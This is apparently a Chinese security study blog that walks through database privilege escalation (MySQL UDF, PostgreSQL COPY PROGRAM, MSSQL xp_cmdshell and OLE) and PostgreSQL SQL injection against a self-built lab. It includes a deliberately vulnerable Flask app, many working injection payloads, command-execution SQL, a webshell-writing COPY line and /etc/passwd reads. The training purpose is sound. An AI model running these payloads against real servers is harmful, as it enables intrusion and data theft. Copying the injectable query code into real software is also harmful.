# 表明misconf用户具有FILE权限，这个权限作用于所有的数据库，所有对象(*.*)

FILE权限是服务器文件读写权限，它允许select load_file('/etc/passwd');或者select 'test' into outfile '/tmp/test.txt'等

在UDF提权中，这个权限用于把lib_udf_lab.so写入plugin_dir

GRANT SELECT, INSERT, UPDATE ON `appdb`.* TO `misconf`@`%`
# 表明misconf用户对appdb数据库里的所有表拥有select、insert、update权限

它可以执行select * from appdb.users;或者insert into appdb.users(username,password) values('ZLARYY','2L@yY');或者update appdb.users set password='2L4yY' where usermame='ZLARYY';

GRANT INSERT ON `mysql`.* TO `misconf`@`%`
# 表明misconf对mysql系统库里的所有表拥有insert权限

这一行权限允许create function往mysql.func中注册函数信息

所以UDF提权的核心就是拥有写入文件权限和通过create function注册函数信息

接下来需要查看plugin_dir：

SELECT @@plugin_dir;

MySQL的UDF是可加载函数，本质是一个动态库，Linux下是.so，Windows下是.dll。MySQL不是从任意目录加载UDF，而是从plugin_dir指定的插件目录加载，库文件名需要对应平台动态库文件（Linux对应.so），并且函数会被加载到服务器中立即可用

所以：

CREATE FUNCTION sys_eval RETURNS INTEGER SONAME 'lib_udf_lab.so';

这句话执行之后，MySQL实际会去寻找@@plugin_dir/lib_udf_lab.so，那么对应的就是/usr/lib/mysql/plugin/lib_udf_lab.so，所以我们必须把.so写到这个目录

之后我们查看secure_file_priv：

SELECT @@secure_file_priv;

secure_file_priv是MySQL用来限制文件导入导出路径的安全配置，如果secure_file_priv设置成一个非空目录，那么select ... into outfile或into dumpfile写出的文件必须位于这个目录中，所以secure_file_priv为空表示不限制写入路径

具备这些条件之后我们看到之前所说的编译动态库：

g++ -Wall -fPIC -shared \
  -I/usr/include/mysql \
  -o lib_udf_lab.so \
  udf_eval.cc

这些命令可以将udf_exec.cc源码编译成一个Linux下可被MySQL加载的动态库文件lib_udf_lab.so

g++：表示使用C++编译器

-Wall：开启编译警告，不会影响最终功能

-fPIC：（Position Independent Code）意思是生成位置无关代码，动态库.so被加载到内存时，加载地址不一定固定，所以.so里的代码需要能在不同内存地址正常运行，因此编译动态库时通常需要加上-fPIC，否则可能会出现动态库加载失败或者链接时出现relocation相关错误

-shared：表示生成共享库，也就是.so文件，如果不加-shared，编译器可能会尝试生成一个可执行程序（a.out）

-I/usr/include/mysql：表示让编译器去/usr/include/mysql目录下寻找头文件，因为UDF源码里出现了#include <mysql.h>，mysql.h不是C++标准库头文件，而是MySQL提供的开发头文件，如果不加这一项可能会出现fatal error: mysql.h: No such file or directory的报错，/usr/include/mysql目录存在于Kali Linux里面

-o lib_udf_lab.so：表示指定输出文件名

udf_exec.cc：需要被编译的源代码文件，里面定义了MySQL UDF函数，比如：

long long sys_eval(...)
bool sys_eval_init(...)
void sys_eval_deinit(...)

编译后这些函数会被打包进lib_udf_lab.so，之后MySQL执行CREATE FUNCTION sys_eval RETURNS INTEGER SONAME 'lib_udf_lab.so';就会从这个.so文件里面寻找并加载sys_eval

\：Linux Shell里的换行续写符，等价于

g++ -Wall -fPIC -shared -I/usr/include/mysql -o lib_udf_lab.so udf_eval.cc

编译生成好lib_udf_lab.so之后，我们将.so转为十六进制

# 在lib_udf_lab.so文件所在位置执行：
xxd -p lib_udf_lab.so | tr -d '\n' > lib_udf_lab.hex
# 检查开头
head -c 80 lib_udf_lab.hex

其中7f454c46就是ELF文件头

为什么要转成十六进制呢？

.so是二进制文件，不能直接粘进MySQL，转成0x十六进制之后，MySQL就可以把它还原成原始二进制字节

接下来生成写入UDF的SQL命令：

echo -n "SELECT 0x" > write_udf.sql
cat lib_udf_lab.hex >> write_udf.sql
echo " INTO DUMPFILE '/usr/lib/mysql/plugin/lib_udf_lab.so';" >> write_udf.sql

# 检查SQL开头
head -c 100 write_udf.sql
# 检查SQL结尾
tail -c 120 write_udf.sql
# 结尾应该是INTO DUMPFILE '/usr/lib/mysql/plugin/lib_udf_lab.so';

可以看出write_udf.sql是一行命令，里面保存的是一个完整的SQL语句，而这个语句中间包含了整个.so文件的十六进制内容，他的作用就是将0x后面的十六进制数据转换成二进制数据然后写入/usr/lib/mysql/plugin/lib_udf_lab.so，同时为了避免换行产生的错误我们在写入时使用tr -d '\n'删除换行，让整个.so的十六进制内容连续成一行

为什么要通过写命令而不是直接上传.so呢？

在真实场景中，攻击者通常没有操作系统层面的文件上传权限，.so文件储存在本地，不能通过select load_file('/home/kali/lib_udf_lab.so')在MySQL中读取kali系统里的文件。其次就是MySQL协议的连接主要用来发送SQL语句，没有直接上传任意文件到服务器任意目录的正常功能

最后我们要执行的就是.sql里面的一行命令：

SELECT 0x7f454c460201010000000000000000000300....... INTO DUMPFILE '/usr/lib/mysql/plugin/lib_udf_lab.so';

看到Query OK,1 row affected (0.05sec)，就说明写入成功，在本地可以去验证看看是否写入：

docker exec mysql-udf-real-lab ls -l /usr/lib/mysql/plugin/lib_udf_lab.so
# 查看文件是否已经被写进plugin_dir
docker exec mysql-udf-real-lab sh -c "od -An -tx1 -N4 /usr/lib/mysql/plugin/lib_udf_lab.so"
# 验证是不是正常的ELF动态库，如果是7f 45 4c 46就说明正常

接下来我们可以去试试执行注册UDF函数：

CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_udf_lab.so';

注册成功之后我们尝试执行：

select sys_eval('id');

可以看到成功实现了UDF命令回显，MySQL将返回结果按十六进制显示结果了，解码之后就是

uid=999(mysql) gid=999(mysql) groups=999(mysql)

这样我们就成功拿到了shell的执行权限

# PostgreSQL

# COPY PROGRAM

# 本地靶场搭建

创建目录结构：

postgres_priv_lab/
├── docker-compose.yml
└── init.sql

其中docker-compose.yml内容如下：

services:
  postgres:
    image: postgres:16
    container_name: pg-priv-lab
    ports:
      - "127.0.0.1:5433:5432"
    environment:
      POSTGRES_PASSWORD: rootpass
      POSTGRES_DB: appdb
    volumes:
      - ./init.sql:/docker-entrypoint-initdb.d/init.sql:ro

init.sql：

CREATE TABLE users (
    id SERIAL PRIMARY KEY,
    username TEXT,
    password TEXT
);

INSERT INTO users(username, password) VALUES
('admin', 'admin123'),
('guest', 'guest123'),
('flag', 'ZLARYY{local_postgres_lab_only}');

CREATE ROLE webapp LOGIN PASSWORD 'webpass';
GRANT CONNECT ON DATABASE appdb TO webapp;
GRANT USAGE ON SCHEMA public TO webapp;
GRANT SELECT, INSERT, UPDATE ON users TO webapp;

CREATE ROLE misconf LOGIN PASSWORD 'misconfpass';
GRANT CONNECT ON DATABASE appdb TO misconf;
GRANT USAGE ON SCHEMA public TO misconf;
GRANT SELECT, INSERT, UPDATE ON users TO misconf;

-- 故意错误配置：允许 misconf 执行服务器端程序
GRANT pg_execute_server_program TO misconf;

在PostgreSQL的预定义角色中，pg_execute_program允许用户通过COPY等功能以数据库服务器运行用户身份执行服务器端程序

在postgres_priv_lab下执行：

docker compose up -d --force-recreate

# 查看容器，应该看到pg_priv_lab
docker ps

如果windows上安装了psql，可以执行：

psql -h 127.0.0.1 -p 5433 -U misconf -d appdb

密码：misconfpass

如果没有安装可以用docker里的客户端连接：

docker exec -it pg-priv-lab psql -U misconf -d appdb

# 提权原理

相较于UDF提权那些严格的前提条件，PostgreSQL数据库的提权只需要用户具有pg_execute_server_program身份就行

在PostgreSQL中的几个危险的预定义角色：

pg_read_server_file：允许读取数据库服务器能访问的文件

pg_write_server_files：允许写入数据库服务器能访问的位置

pg_execute_server_program：允许执行数据库服务器端程序

PostgreSQL的COPY本来是用来导入、导出数据的，普通用法类似：

# 把表数据写到服务器文件里
copy users to '/tmp/users.txt';

不过它存在一种危险形式：from

# 让PostgreSQL服务器端执行系统命令id，然后把id的标准输出写入cmd_output表
copy cmd_output from program 'id';

那么我们可以实现一种执行命令并查看回显的命令串：

# 创建一个临时表，这个表只在当前数据库连接会话中存在，退出psql后一般就会消失，不会长期保存在数据库里面，cmd_output是临时表的名字，这个表里面存在一个列名line，数据类型是text，用来存放文本内容
create temp table cmd_output(line text);
copy cmd_output from program 'id';
# 查询表cmd_output里面的内容
select * from cmd_output;

如果需要执行多条操作系统命令则需要先清空临时表：

TRUNCATE cmd_output;

# 然后继续执行
COPY cmd_output FROM PROGRAM 'whoami';
SELECT * FROM cmd_output;

# 提权流程

我们使用接下来的一串命令查询当前权限角色：

SELECT rolname FROM pg_roles WHERE pg_has_role(current_user, oid, 'member');

然后我们尝试执行那一串命令串：

create temp table cmd_output(line text);
copy cmd_output from program 'id';
select * from cmd_output;

可以看到成功实现了执行操作系统命令并查看返回结果

除此之外我们也可以试试COPY ... TO ... PROGRAM，它表示的是将表或查询结果作为标准输入给系统命令：

COPY (SELECT '') TO PROGRAM 'sh -c "whoami > /tmp/copy_to_who.txt 2>&1"';

这条命令就相当于让PostgreSQL执行sh -c "whoami > /tmp/copy_to_who.txt 2>&1"

虽然 COPY TO PROGRAM不会直接把命令输出显示到SQL结果中，但它确实执行了命令并把结果写到了容器里的/tmp/copy_to_id.txt，那么再次搭配上COPY FROM就可以实现查看回显了：

CREATE TEMP TABLE cmd_output(line text);
COPY cmd_output FROM PROGRAM 'cat /tmp/copy_to_who.txt';
SELECT * FROM cmd_output;

# MSSQL

# xp_cmdshell

学习xp_cmdshell需要我们安装SQL Server以及SSMS：

https://learn.microsoft.com/zh-cn/ssms/install/install

https://www.microsoft.com/en-us/sql-server/sql-server-downloads

安装流程可以参考：[WEB安全]MSSQL/SQL Server 提权手法详解-腾讯云开发者社区-腾讯云

不过ZLARYY在安装的时候没有用序列号呢~

# xp_cmdshell提权原理

xp_cmdshell本质上是一个扩展存储过程：

exec xp_cmdshell 'id';

可以理解为SQL Server收到SQL语句之后调用xp_cmdshell，SQL Server服务端创建操作系统进程执行id / whoami / dir / ls等系统命令之后把命令输出返回到SQL查询结果

# 提权过程

首先我们通过这些命令去查询当前用户：

select system_user;
select is_srvrolemember('sysadmin');

根据查询结果可以看到当前用户是sa，并且是sysadmin，那么我们就有权限开启和调用xp_cmdshell

开启xp_cmdshell：

EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;

EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

# 查看xp_cmdshell当前状态
exec sp_configure 'xp_cmdshell';

接下来我们就可以尝试尝试命令执行了，由于我们现在安装的是Windows本机版的SQL Server，xp_cmdshell执行命令时调用的是Windows的命令解释器，不是Linux shell，所以我们只能执行windows终端下的所有命令：

exec xp_cmdshell 'dir';

这样我们就实现了sa让SQL Server服务进程执行系统命令

查看当前xp_cmdshell拿到的是什么权限：

exec xp_cmdshell 'whoami';

SQL Server服务账户是谁那么xp_cmdshell执行命令时就是谁的系统权限

# OLE

OLE提权一般指MSSQL里的OLE Automation Procedures滥用，他不是一种单独的Windows漏洞，而是SQL Server提供的一组系统存储过程，如果被开启且当前SQL用户有足够权限，就可以在SQL里面创建COM对象，通过sp_OAMethod调用COM对象方法，然后WScript.Shell执行Windows命令，间接调用Windows组件完成文件操作、命令执行等行为

SQL Server支持一组OLE Automation系统存储过程，可以在T-SQL批处理中使用OLE Automation对象，默认情况下这个功能是关闭的，需要系统管理员通过sp_configure启用，启用后，sp_OACreate可以创建OLE Automation对象

常见的COM对象包括：WScript.Shell、Scripting.FileSystemObject、Shell.Application

其中WScript.Shell经常被用来执行系统命令

OLE Automation存储过程包括sp_OACreate、sp_OADestroy、sp_OAGetProperty、sp_OAMethod、sp_OASetProperty、sp_OAStop、sp_OAGetErrorInfo等

其中sp_OACreate用于创建COM对象，sp_OAMethod用于调用对象方法，sp_OAGetProperty获取对象属性，sp_OADestroy用于销毁对象

# 提权过程

开启OLE Automation：

EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;

EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE;

# 查看是否成功开启
EXEC sp_configure 'Ole Automation Procedures';

命令执行whoami：

# 声明变量 @shell保存WScript.Shell对象的句柄，@exec保存EXEC执行后返回的对象句柄，@output保存命令输出的结果，@hr保存OLE调用的返回状态码，这里的INT不是普通数字用途，而是用来保存OLE对象的引用编号
DECLARE @shell INT;
DECLARE @exec INT;
DECLARE @output NVARCHAR(4000);
DECLARE @hr INT;

# 创建WScript.Shell对象，创建成功后把对象句柄保存到@Shell，返回状态码保存到@hr。WScript.Shell是Windows里的脚本Shell对象，可以执行系统命令
EXEC @hr = sp_OACreate 'WScript.Shell', @shell OUT;

# 判断对象是否创建失败，创建失败的话@hr!=0
IF @hr <> 0
BEGIN
    SELECT 'sp_OACreate failed' AS error, @hr AS hresult;
    RETURN;
END;

# 对@Shell代表的WScript.Shell对象调用Exec方法，执行命令cmd /c whoami，执行后返回一个Exec对象保存到@exec，返回状态码保存到@hr，其中cmd /c whoami表示启动Windows cmd.exe执行whoami，执行完后退出
EXEC @hr = sp_OAMethod @shell, 'Exec', @exec OUT, 'cmd /c whoami';

# 判断Exec是否失败，如果Exec失败就输出错误信息并且执行Exec sp_OADestroy @Shell释放前面创建的WScript.Shell对象
IF @hr <> 0
BEGIN
    SELECT 'Exec failed' AS error, @hr AS hresult;
    EXEC sp_OADestroy @shell;
    RETURN;
END;

# 读取命令的标准输出，保存到@output，StdOut.ReadAll可以理解为读取命令执行后的全部标准输出内容
EXEC @hr = sp_OAMethod @exec, 'StdOut.ReadAll', @output OUT;

# 输出结果
SELECT @output AS command_output;

# 释放OLE对象，清理资源
EXEC sp_OADestroy @exec;
EXEC sp_OADestroy @shell;

这一串payload实现了sp_OACreate创建WScript.Shell，SP_OAMethod调用EXEC方法然后执行cmd /c whoami，读取StdOut.ReadAll，最后select输出结果

其他系统库类型下的SQL注入

2026-05-29T15:10:00.000Z

# 其他系统库类型下的SQL注入

尝试过直接去看别人总结的相关的其他数据库的SQL注入方式，但是感觉很难理解，所以我打算先从学习其他类型数据库的结构逐渐深入

# 数据库结构

大多数数据库结构都与MySQL相差不大：

MySQL 实例 Instance
  └── Database / Schema
        └── Table
              ├── Column
              ├── Row
              ├── Index
              ├── View
              ├── Trigger
              └── Procedure / Function

在MySQL中，database和schema基本可以看成同一个概念

CREATE DATABASE shop_db;
CREATE SCHEMA shop_db;

这两个在MySQL中差不多是同义用法

不过既然这样设计那为什么还需要schema呢？

schema的核心作用其实就三个词：命名空间隔离、权限控制和逻辑分组，没有schema的架构看起来可以通过下图来表示：

MySQL 实例 (Instance)
  └──企业数据库 (ERP_Database)
        ├──Table: hr_users       (人事部用户表 - 靠前缀区分)
        ├──Table: finance_users  (财务部用户表 - 靠前缀区分)
        ├──Table: hr_payroll     (人事薪资表)
        ├──Table: finance_ledger (财务账本表)
        └──Table: sales_orders   (销售订单表)

如果所有的表都直接堆在database下面，当系统变大时就会出现命名冲突，比如人事和财务都需要一个叫users的表，只能被迫在表名前面加上前缀，导致结构非常扁平拥挤

有schema的话，不同的schema下就可以有同名的表，他们互不干扰，同时可以对某个schema进行一键授权，而不需要逐个表去配置

数据库实例 (Instance)
  └──企业数据库 (ERP_Database)
        │
        ├──Schema: HR (人事专区 - 可打包分配给人事系统权限)
        │     ├──Table: users   (同名互不干扰)
        │     ├──Table: payroll
        │     └──Procedure: calculate_leave() 
        │
        ├──Schema: Finance (财务专区 - 极度敏感，独立授权)
        │     ├──Table: users   (同名互不干扰)
        │     ├──Table: ledger
        │     └──View: monthly_report
        │
        └──Schema: Sales (销售专区)
              ├──Table: orders
              └──Table: customers

# MySQL

MySQL的查询路径大致是：

客户端连接 MySQL
  ↓
连接器 / 权限验证
  ↓
SQL Parser
  ↓
预处理器，检查表名、字段名
  ↓
优化器，选择索引和执行计划
  ↓
执行器
  ↓
存储引擎，例如 InnoDB
  ↓
Buffer Pool / 磁盘文件

MySQL中比较重要的结构

MySQL Server
├── 连接层
├── SQL 层
│   ├── Parser
│   ├── Optimizer
│   ├── Executor
│   └── 权限系统
└── 存储引擎层
    ├── InnoDB
    ├── MyISAM
    └── Memory

MySQL中常见的元数据位置：

information_schema
# 保存数据库、表、字段等结构信息
mysql
# 保存用户、权限等系统信息
performance_schema
# 性能监控信息
sys
# 性能视图封装

什么是元数据？

通俗地说元数据就是关于数据的数据，业务数据指的是数据库里面存放的具体内容（包括用户的账号密码等信息），元数据记录了这个数据库有几个库名、表名、字段名和数据类型

在元数据information_schema中有三个表：

SCHEMA表：记录了当前MySQL实例下的所有数据库名字（字段名：schema_name）
TABLES表：记录了所有数据库里面的所有表名（字段名：table_name，以及它所属的库名：table_schema）
COLUMNS表：记录了所有表里面的所有字段名（字段名：column_name，以及它所属的表名：column_schema）

MySQL的注入手法其实在之前的文章中已经解释的很清楚了，接下来把重点看到其他类型的数据库吧

# PostgreSQL

# 数据库架构以及核心字段名

PostgreSQL数据库的架构与MySQL最大的区别之一是：PostgreSQL更强调schema，其层级为：

PostgreSQL Cluster
  ↓
Database
  ↓
Schema
  ↓
Table / View / Function / Sequence
  ↓
Column / Row

比如：company.public.users.username表示的是company数据库->public schema->users表->username字段

PostgreSQL的查询路径大致为：

客户端连接 PostgreSQL
  ↓
Postmaster / Backend Process
  ↓
认证与权限检查
  ↓
Parser
  ↓
Analyzer
  ↓
Rewriter
  ↓
Planner / Optimizer
  ↓
Executor
  ↓
Buffer Manager
  ↓
Storage / WAL / Data Files

PostgreSQL的结构大致可以看做：

PostgreSQL Cluster
├── Database 1
│   ├── Schema public
│   ├── Schema admin
│   └── Schema test
├── Database 2
└── 系统目录 pg_catalog

里面一些比较重要的系统结构：

pg_catalog
# 原生系统目录
information_schema
# 标准SQL元数据视图
pg_database
# 数据库信息
pg_class
# 表、索引、视图等对象信息
pg_attribute
# 字段信息
pg_roles
# 角色信息
pg_namespace
# 信息

pg_catalog是PostgreSQL数据库独有的最核心的系统schema（模式），在数据库里创建的所有表、列、视图、索引、函数、数据类型，其元数据全部存储在这里面，相较于information_schema来说，直接查pg_catalog速度快，且能获得更多非标准的底层信息，上述下面的pg_开头的所有表全部位于pg_catalog模式下

PostgreSQL的系统表有一个极其重要的概念：集群级（全局）和数据库级（局部）

集群级

pg_database（数据库列表）：里面存储了当前PostgreSQL实例（集群cluster）下所有的数据库名称、拥有者、字符集编码等，类似于MySQL里面的SCHEMATA，核心字段：datname

通常第一步是：

SELECT datname FROM pg_database;
# 查看有哪些库

pg_roles（角色/用户权限）：存储了数据库里面的所有用户账号、密码（散列值，但在高版本被移到了隐藏的pg_authid中）、以及他们是否具有超级用户（superuser）、建库、登录权限，核心字段：rolname（用户名）、rolsuper（是否是超级用户）。攻击成功之后如果查询到当前注入点的用户是超级用户（rolname = 't'），那就可以直接尝试命令执行

数据库级

pg_namespace（模式列表）：里面存储了当前数据库里面的所有schema名称，核心字段：nspname（模式名）、oid（该模式的唯一编号）。Schema（模式）本质上就是隔离命名的空间，默认创建的表都在public这个namespace里面

pg_class（关系列表）：里面存储了当前数据库里面的所有表、视图、索引、序列号，由于早期Postgres，为对象关系型数据库，当时把一张表称为一个类，核心字段：relname（表名/视图名）、relnamespace（所属模式OID）、oid（该表的唯一编号）

pg_attribute（属性/列列表）：里面存储了所有表里面的所有字段（列）信息，在关系列表中，表的一列被称为属性，核心字段：attname（字段名）、attrelid（所属表的oid）、attnum（字段在表里的顺序）。等同于MySQL里的COLUMNS

# 本地搭建靶场测试

可通过下列命令搭建测试靶场，这里用的是kali linux

docker run --name pg-vuln-lab -e POSTGRES_PASSWORD=root -p 5432:5432 -d postgres:14
# 启动一个名为pg-vuln-lab的容器，设置超级用户密码为root，映射本地5432端口
docker exec -it pg-vuln-lab psql -U postgres
# 进入容器的命令行交互界面

进入psql终端之后，依次执行下列SQL语句搭建数据库：

CREATE DATABASE postgre_lab;
\c postgre_lab;
# 创建一个post_lab数据库并切换进去

CREATE SCHEMA FLAG;
# 创建一个FLAG模式(Schema)

CREATE TABLE public.users (
    id SERIAL PRIMARY KEY,
    username VARCHAR(50),
    password VARCHAR(50)
);
# 在默认的public模式下创建普通用户表
# id为第一列的名字，SERIAL是postgreSQL特有且极其常用的数据类型，代表“自增序列”，在插入数据时不需要手动输入ID，数据库会自动按1、2、3、4的顺序给新数据编号（等同于MySQL中的AUTO_INCREMENT）
# PRIMARY KEY：主键，它宣告id为这一行数据的唯一标识，不能重复也不能为空，数据库底会为他自动建立索引以加快查询速度
# username和password均为接下来两列的名字
# VARCHAR(50)：数据类型，VARCHAR代表可变长度的字符（Vairable Character），50代表这个用户名最长不能超过50个字符

CREATE TABLE FLAG.flag(
    id SERIAL PRIMARY KEY,
    flag2 VARCHAR(100)
);
# 在FLAG模式下创建名为flag的表和flag2的列

INSERT INTO public.users (username, password) VALUES ('admin', 'adminnnnn'), ('guest', '123456'),('flag1','ZLARYY{h0w_h@rd_P05tgr3_SQL!_r3a1ly???}');
INSERT INTO FLAG.flag (flag2) VALUES ('ZLARYY{W0vv_Y0u_@r3_r3al1y_P0stgr3_SQL_ma5t3r!!!}');
# 插入测试数据

接下来需要编写一个带有漏洞的web后端，首先创建一个名为pg_lab的文件夹，里面放上app.py，在该目录下打开终端执行一步安装操作：

python3 -m pip install flask psycopg2-binary

然后将下列内容粘贴到app.py里面：

from flask import Flask, request
import psycopg2

app = Flask(__name__)

# 连接到我们刚才用 Docker 启动的 PostgreSQL 靶场
def get_db_connection():
    return psycopg2.connect(
        host="localhost",
        database="postgre_lab",
        user="postgres",
        password="root",
        port="5432"
    )

@app.route('/user')
def get_user():
    # ⚠️ 经典的漏洞点：直接获取用户输入，不做任何过滤
    user_id = request.args.get('id')
    
    if not user_id:
        return "Please provide an id, e.g., ?id=1"

    conn = get_db_connection()
    cursor = conn.cursor()

    # ⚠️ 致命错误：使用 f-string 强制拼接 SQL 语句，造成注入
    query = f"SELECT username FROM public.users WHERE id = {user_id}"
    
    try:
        cursor.execute(query)
        result = cursor.fetchall()
        return f"<h3>Executed Query: {query}</h3><p>Result: {result}</p>"
    except Exception as e:
        # 将数据库报错直接打印到前端（方便练习报错注入）
        return f"<h3>Database Error:</h3><p>{str(e)}</p>"
    finally:
        cursor.close()
        conn.close()

if __name__ == '__main__':
    app.run(debug=True, port=5000)

最后运行这个应用：

python3 app.py

然后访问http://localhost:5000/user?id=1，应该能看到正常页面返回了admin

# 注入相关符号与函数

注释符：单行注释：-- 与MySQL一样为两个减号，后面通常可以加一个空格

多行/内联注释：/*.....*/，某些情况下可以用来替代空格绕过过滤
关键注入查询函数：
1. version()：获取PostgreSQL的详细版本信息，不同版本的特性（比如RCE的方法）差异很大
2. current_database()或current_catalog：获取当前连接的数据库名称
3. current_user或user：获取当前执行查询的数据库用户名
4. session_user：获取建立数据库连接时的原始用户名
5. current_setting('data_directory')：获取数据库文件的物理存储路径（通常需要较高权限，有助于后续的目录遍历或写文件）
pg_sleep(seconds)：让数据库暂停执行指定的秒数
substring(string,start,length)或substr()：用于逐个字符拆解，可以配合ASCII()和pg_sleep()进行时间/布尔盲注，比如：
```
substring((SELECT current_user),1,1)
# 从当前用户名的第一个字符开始截取一个长度的字符
```
ascii(char)和chr(int)：ascii()可以将字符转为数字，方便使用>或<进行二分法盲注；chr()可以将数字转回字符，如果过滤了单引号导致无法输入'admin'可以采用如下语句实现绕过：
```
chr(97)||chr(100)||chr(109)||chr(105)||chr(110)
```
类型转换符：::type或CAST(expr AS type)，可以强行将数据转换为指定类型，在UNION联合注入中，如果不知道原列表的类型可以全部强转为文本类型来避免报错：
```
UNION SELECT NULL, 'admin'::text, 'password'::text
```
字符串拼接符：||，PostgreSQL不支持MySQL中的concat()语法，拼接字符串必须使用管道符，可以实现即将多个字段的结果合并到一列输出：
```
UNION SELECT 1, username || ':' || password FROM users
```
string_agg()，类似于group_concat()可以直接将返回内容合并为一行输出
读取本地文件：pg_read_file(filename)，可以读取服务器上的绝对路径文件内容，比如/etc/passwd
写入文件与命令执行：COPY ... FROM / TO，原本是用于导入数据的命令，可以实现危险操作：
```
copy (select '<?php phpinfo(); ?>') to '/var/www/html/shell.php'
```
在PostgreSQL 9.3版本以上中引入了PROGRAM参数，可以直接让数据库执行操作系统命令：
```
COPY 任意表名 FROM PROGRAM 'id > /tmp/hacked.txt';
```
length()：获取参数字符串的长度

# union联合注入

我们所写的app.py文件为数字型注入：

按照MySQL的查询步骤，接下来用order by判断列数：

很奇怪了，为什么写的时候明明有id、username、password三列，最后order by 3会报错呢

原因是我们的app.py中写的是：

SELECT username FROM public.users WHERE id = {user_id}

order by和union探测的并不是底层物理表有多少列，而是这句SQL查询最终返回多少列，上述这句SQL查询只返回了username一列字段，如果我们加上*变成：

SELECT * FROM public.users WHERE id = {user_id}

结果就不一样了，*代表查询所有列，此时的结果集就会包含id、username、password完整的三列

以上为修改后端代码之后的结果

当我们想利用current_database()查询连接的数据库时，会出现这种情况：

这就是我们之前在::type提到的类型不匹配，在MySQL中，如果把一个1塞进文本列里，MySQL会把他变为字符串'1'，但是PostgreSQL极度严谨，他的规则是：原查询的数据类型必须与union拼接数据查询类型完全相同，所以在这里我们需要用到类型转换符::type或者直接把3改为字符串类型

当然用current_catalog也是可以的：

这样我们就查询出来了连接的数据库名称为postgre_lab，接下来我们可以试试查询所有的schema字段

?id=-1 union select 1,(select nspname from pg_namespace limit 1 offset 0 ),'3' --

这里如果我们直接传入：

?id=-1 union select 1,(select nspname from pg_namespace),'3' --

会显示返回的结果超过一行，所以我们需要用到limit ... offset ...来进行限制

在之前的SQL文章中提到过其用法：

limit 返回的数量 offset 跳过的行数
所以limit 0,1用offset表示为limit 1 offset 0

其实也可以直接查询所有的schema：

?id=-1 union select 1,nspname,'3' from pg_namespace --

或者利用string_agg()：

?id=-1 union select 1,(select string_agg(nspname,'~') from pg_namespace),'3' --

那么接下来我们试试查询flag这个schema里面的内容：

?id=-1 union select 1,(select string_agg(relname,'~') from pg_class where relnamespace = (select oid from pg_namespace where nspname='flag')), '3' --

这个payload的意思是查询pg_class里面与nspname='flag'相同oid的relnamespace的表名

或者还有一种方法：join联合查询

?id=-1 union select 1,(select string_agg(relname,'~') from pg_class c join pg_namespace n on c.relnamespace = n.oid where n.nspname='flag'),'3' --

在尝试这些payload之前ZLARYY想过这个payload但是是错误的：

?id=-1 union select 1,(select string_agg(relname,'~') from pg_class where nspname='flag'),'3' --

这是由于pg_class这个元数据里面没有存储nspname这个字段，只记录了这一个叫做relnamespace的数字编号（OID），用来指向它属于哪个模式schema，所以我们需要利用oid搭桥去找寻我们想要查询的表

接下来我们需要查询flag这个表里面的字段名：

?id=-1 union select 1,(select string_agg(attname,'~') from pg_attribute where attrelid = (select oid from pg_class where relname='flag')), '3' --

这里必须把attrelid后面的判定条件换成表的oid而不能继续沿用查表时候的schema的oid

最后我们查询flag模式下的flag表里面的flag2字段的值：

?id=-1 union select 1,flag2,'3' from "flag".flag --

通过这个流程我们成功查询到了其他schema下的flag，在之前环境配置中我们在当前users的表中也埋了一个flag，我们继续试试

?id=-1 union select 1,current_database(),'3' -- 
# 查询当前数据库
?id=-1 union select 1,(select nspname from pg_namespace),'3' -- 
# 查询所有的schema名
?id=-1 union select 1,(select string_agg(relname,'~') from pg_class where relnamespace=(select oid from pg_namespace where nspname='public')),'3' --
# 查询字段名为public下的所有表名
?id=-1 union select 1,(select string_agg(attname,'~') from pg_attribute where attrelid=(select oid from pg_class where relname='users')),'3' --
# 查询users表下的所有列名
?id=-1 union select 1,(select string_agg(username || '~' || password,'+') from users),'3' --
# 查询username和password并一起输出

这里不能像MySQL一样使用string_agg(attname,'~',password)，因为string_agg()函数的作用是把多行数据合并成一行。它的标准官方语法是严格的两个参数，所以只能采用||横向拼接列，再用string_agg纵向聚合行

# 报错注入

# 类型转换错误

SELECT CAST(version() AS integer);

这条命令会因为无法将version()的结果转换为integer而报错暴露原始字符：

?id=1 and 1=cast((select current_database() limit 1) as integer)

?id=1 and 1=cast((select string_agg(nspname,'~') from pg_namespace limit 1) as integer)

后面的流程其实都相差不大只需要修改括号里的查询语句就行，这里直接给出payload吧：

# 查询其他schema下的flag
?id=1 and 1=cast((select string_agg(relname,'~') from pg_class where relnamespace=(select oid from pg_namespace where nspname='flag') limit 1) as integer)
# invalid input syntax for type integer: "flag_id_seq~flag~flag_pkey"

?id=1 and 1=cast((select string_agg(attname,'~') from pg_attribute where attrelid=(select oid from pg_class where relname='flag') limit 1) as integer)
# invalid input syntax for type integer: "cmax~cmin~ctid~flag2~id~tableoid~xmax~xmin"

?id=1 and 1=cast((select flag2 from "flag".flag limit 1) as integer)
# invalid input syntax for type integer: "ZLARYY{W0vv_Y0u_@r3_r3al1y_P0stgr3_SQL_ma5t3r!!!}"

除了转换为integer还可以转换为numeric、date、uuid、json/jsonB、regclass、xml、integer[]、tsquery等：

?id=1 and 1=cast((select current_database() limit 1) as numeric)
或
?id=1 and 1=cast((select current_database() limit 1)::numeric)

?id=1 and cast((select current_database() limit 1) as uuid) is not null
?id=1 and cast((select current_database() limit 1) as regclass) is not null
?id=1 and cast((select current_database() limit 1) as jsonB) is not null
?id=1 and cast((select current_database() limit 1) as integer[]) is not null

# 布尔盲注

与MySQL一样我们需要能看到真页面和假页面这个条件，在我们的靶场中可以视作是否返回admin

这里我们可以用到的函数与MySQL差不多：

ascii()
length()

?id=1 and length(current_database())=11 --

这样就能判断出数据库名长度为11了

其实都可以参考本博客SQL一栏，原理都是一样的，这里给些payload吧：

?id=1 and ascii(substring((select current_database()),1,1))=112 -- 
# 数据库的第一个字符ascii码为112，对应字母为p

?id=1 and ascii(substring((select nspname from pg_namespace limit 1 offset 4),1,1))=102 -- 
# 对应schema首字母为f
?id=1 and ascii(substring((select relname from pg_class where relnamespace=(select oid from pg_namespace where nspname='flag') limit 1 offset 1),1,1))=102 -- 
# 对应表首字母为f
?id=1 and ascii(substring((select attname from pg_attribute where attrelid=(select oid from pg_class where relname='flag') limit 1 offset 3),1,1))=102 -- 
# 对应列首字母为f
?id=1 and ascii(substring((select flag2 from "flag".flag),1,1))=90 -- 
# flag2字段首字母为Z

